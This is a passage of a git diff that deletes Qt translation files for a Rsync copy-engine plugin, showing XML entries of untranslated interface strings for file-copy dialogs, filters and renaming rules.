- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/no/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/no/translation.ts
deleted file mode 100644
index 338cb72..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/no/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/pl/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/pl/translation.ts
deleted file mode 100644
index 338cb72..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/pl/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
